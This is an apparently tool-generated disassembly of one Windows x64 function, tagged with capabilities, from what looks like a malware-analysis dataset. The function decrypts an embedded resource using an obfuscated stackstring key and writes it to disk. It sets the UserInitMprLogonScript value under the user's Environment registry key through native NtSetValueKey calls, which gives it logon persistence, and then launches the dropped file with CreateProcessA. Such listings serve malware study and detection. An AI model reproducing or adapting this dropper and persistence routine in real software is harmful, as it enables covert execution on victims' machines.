Function at 0x140003a02
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x720
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6c0], rcx
mov qword [rbp + 0x6c8], rdx
mov rax, rsp
mov rsi, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str..rsrc
mov rdx, rax
call fcn.140003786
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__msize]
call rax
mov dword [rbp + 0x694], eax
mov eax, dword [rbp + 0x694]
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov eax, dword [rbp + 0x694]
movsxd rcx, eax
mov rdx, qword [rbp + 0x698]
mov rax, qword [rbp + 0x688]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov byte [rbp + 0x4d0], 0x28
mov byte [rbp + 0x4d1], 0x40
mov byte [rbp + 0x4d2], 0x7e
mov byte [rbp + 0x4d3], 0x2e
mov byte [rbp + 0x4d4], 0x4c
mov byte [rbp + 0x4d5], 0x49
mov byte [rbp + 0x4d6], 0x6f
mov byte [rbp + 0x4d7], 9
mov byte [rbp + 0x4d8], 0x40
mov byte [rbp + 0x4d9], 9
mov byte [rbp + 0x4da], 0x31
mov byte [rbp + 0x4db], 0x54
mov byte [rbp + 0x4dc], 0x2a
mov byte [rbp + 0x4dd], 0x45
mov byte [rbp + 0x4de], 0x51
mov byte [rbp + 0x4df], 0x6e
mov byte [rbp + 0x4e0], 0x46
mov byte [rbp + 0x4e1], 0x20
mov byte [rbp + 0x4e2], 0x2e
mov byte [rbp + 0x4e3], 0x5e
mov byte [rbp + 0x4e4], 0xa
mov byte [rbp + 0x4e5], 0x2c
mov byte [rbp + 0x4e6], 0x3e
mov byte [rbp + 0x4e7], 0x62
mov byte [rbp + 0x4e8], 0x3f
mov byte [rbp + 0x4e9], 0x6f
mov byte [rbp + 0x4ea], 0xc
mov byte [rbp + 0x4eb], 0x22
mov byte [rbp + 0x4ec], 0x57
mov byte [rbp + 0x4ed], 0x62
mov byte [rbp + 0x4ee], 0x6b
mov byte [rbp + 0x4ef], 0x6a
mov byte [rbp + 0x4f0], 0x3f
mov byte [rbp + 0x4f1], 0x40
mov byte [rbp + 0x4f2], 0x39
mov byte [rbp + 0x4f3], 0x5c
mov byte [rbp + 0x4f4], 0x20
mov byte [rbp + 0x4f5], 0x2f
mov byte [rbp + 0x4f6], 0x61
mov byte [rbp + 0x4f7], 0x61
mov byte [rbp + 0x4f8], 0x7e
mov byte [rbp + 0x4f9], 0x59
mov byte [rbp + 0x4fa], 0x2f
mov byte [rbp + 0x4fb], 0x21
mov byte [rbp + 0x4fc], 0x3b
mov byte [rbp + 0x4fd], 0x77
mov byte [rbp + 0x4fe], 0x27
mov byte [rbp + 0x4ff], 0x29
lea rcx, [rbp + 0x4d0]
lea rdx, [rbp + 0x4e0]
lea rax, [rbp + 0x500]
mov r8, rcx
mov rcx, rax
call fcn.140001a92
mov eax, dword [rbp + 0x694]
movsxd rcx, eax
mov rdx, qword [rbp + 0x688]
lea rax, [rbp + 0x500]
mov r8, rcx
mov rcx, rax
call fcn.140002a85
mov eax, dword [rbp + 0x694]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
mov rcx, rax
call fcn.14000164a
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp + 0x4c8], 0
mov qword [rbp + 0x4c0], 0
mov rax, qword [rbp + 0x680]
mov rdx, qword [rax + 8]
mov rax, qword [rbp + 0x680]
mov rax, qword [rax]
lea r8, [rbp + 0x4c0]
lea rcx, [rbp + 0x4c8]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.140002c20
mov eax, dword [0x14001d0c0]
mov r9d, 0x1e
lea r8, [0x14001e338]
mov edx, eax
lea rax, str.S_x_ae_ak_ay_ag_ah_ad_ab_aq_av_ay_ah_az_av_am_ak_ax_ar_am_at_as_ao_as_ar_ah_ap_aa_ax_as_agS_
mov rcx, rax
call fcn.140003473
mov qword [rbp + 0x678], rax
mov rcx, qword [rbp + 0x6c0]
mov rdx, qword [rbp + 0x678]
lea rax, [rbp + 0x3b0]
mov r8, rcx
mov rcx, rax
call fcn.140003564
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x3b0]
lea rdx, [0x14001e368]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x670], rax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x670]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp + 0x680]
mov rcx, rax
call fcn.14000172f
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
lea rdx, str.NtOpenKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x6c8]
lea rdx, str.NtCreateKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x6c8]
lea rdx, str.NtSetValueKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
lea rax, str.advapi32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
lea rdx, str.ConvertSidToStringSidA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.1400038f0
lea rdx, [rbp + 0x3a8]
lea rax, [rbp + 0x2d0]
mov r8, qword [rbp + 0x648]
mov rcx, rax
call r8
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rcx, [rax + 1]
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp + 0x320]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_strlen
add rax, 1
mov qword [rbp + 0x640], rax
mov rbx, qword [rbp + 0x640]
mov rax, rbx
sub rax, 1
mov qword [rbp + 0x638], rax
lea rax, [rbx + rbx]
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140010920
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 1
shr rax, 1
add rax, rax
mov qword [rbp + 0x630], rax
mov rcx, qword [rbp + 0x640]
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x630]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, str.RegistryUser_sEnvironment
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x610], rax
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
je 0x140003f85
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_wcslen
lea edx, [rax + rax]
mov rax, qword [rbp + 0x610]
mov word [rax], dx
mov rax, qword [rbp + 0x610]
movzx eax, word [rax]
lea edx, [rax + 2]
mov rax, qword [rbp + 0x610]
mov word [rax + 2], dx
jmp 0x140003fa6
mov rax, qword [rbp + 0x610]
mov word [rax], 0
mov rax, qword [rbp + 0x610]
movzx edx, word [rax]
mov rax, qword [rbp + 0x610]
mov word [rax + 2], dx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x608]
mov qword [rax + 8], rdx
nop
mov dword [rbp + 0x80], 0x30
mov qword [rbp + 0x88], 0
mov dword [rbp + 0x98], 0x40
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
lea rdx, [rbp + 0x80]
lea rax, [rbp + 0x78]
mov r9, qword [rbp + 0x668]
mov r8, rdx
mov edx, 0xf003f
mov rcx, rax
call r9
mov dword [rbp + 0x62c], eax
lea rax, [rbp + 0x60]
mov qword [rbp + 0x620], rax
lea rax, str.UserInitMprLogonScript
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
je 0x14000407b
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_wcslen
lea edx, [rax + rax]
mov rax, qword [rbp + 0x620]
mov word [rax], dx
mov rax, qword [rbp + 0x620]
movzx eax, word [rax]
lea edx, [rax + 2]
mov rax, qword [rbp + 0x620]
mov word [rax + 2], dx
jmp 0x14000409c
mov rax, qword [rbp + 0x620]
mov word [rax], 0
mov rax, qword [rbp + 0x620]
movzx edx, word [rax]
mov rax, qword [rbp + 0x620]
mov word [rax + 2], dx
mov rax, qword [rbp + 0x620]
mov rdx, qword [rbp + 0x618]
mov qword [rax + 8], rdx
nop
mov eax, ebx
lea ecx, [rax + rax]
mov rax, qword [rbp + 0x78]
lea rdx, [rbp + 0x60]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x630]
mov qword [rsp + 0x20], rcx
mov r10, qword [rbp + 0x658]
mov r9d, 1
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x62c], eax
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x3b0]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x628], eax
mov rsp, rsi
nop
lea rsp, [rbp + 0x6a0]
pop rbx
pop rsi
pop rbp
ret